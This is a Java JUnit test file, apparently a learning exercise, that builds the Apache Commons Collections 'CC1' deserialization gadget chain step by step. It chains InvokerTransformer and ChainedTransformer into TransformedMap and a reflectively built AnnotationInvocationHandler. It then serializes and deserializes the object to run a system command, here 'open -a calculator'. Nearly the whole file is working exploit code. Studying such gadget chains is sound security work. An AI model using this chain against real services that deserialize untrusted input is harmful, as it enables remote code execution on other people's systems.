1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.junit.Test; import sun.reflect.annotation.AnnotationType;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { @Test public void InvokeExec() { InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a calculator"} ); invokerTransformer.transform(Runtime.getRuntime()); } @Test public void InvokeExec2() { InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a calculator"} ); HashMap<Object, Object> map = new HashMap<>(); map.put("a","b"); Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer); decorated.put("cmd",Runtime.getRuntime()); } @Test public void InvokeExec3() throws Exception { InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a calculator"} ); HashMap<Object, Object> map = new HashMap<>(); map.put("value",null); Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer); ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime()); constantTransformer.transform(null); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorated); utils.BaseSerialization.serializeObject("./ser.bin",o); utils.BaseSerialization.deserializeObject("./ser.bin"); } @Test public void test() { AnnotationType annotationtype = AnnotationType.getInstance(Target.class); Map<String, Class<?>> types = annotationtype.memberTypes(); for (Map.Entry<String, Class<?>> entry: types.entrySet()){ System.out.println(entry); } } @Test
public void test3() throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorated); ByteObjectStream.serialise(o); ByteObjectStream.deserialise("./ser.bin"); } @Test public void test4() throws Exception { Class clazz = Runtime.class; Method getRuntimeMethod = clazz.getMethod("getRuntime",null); Object invoke = getRuntimeMethod.invoke(null); Method execMethod = clazz.getMethod("exec", String.class); execMethod.invoke(invoke,"open -a calculator"); } }
|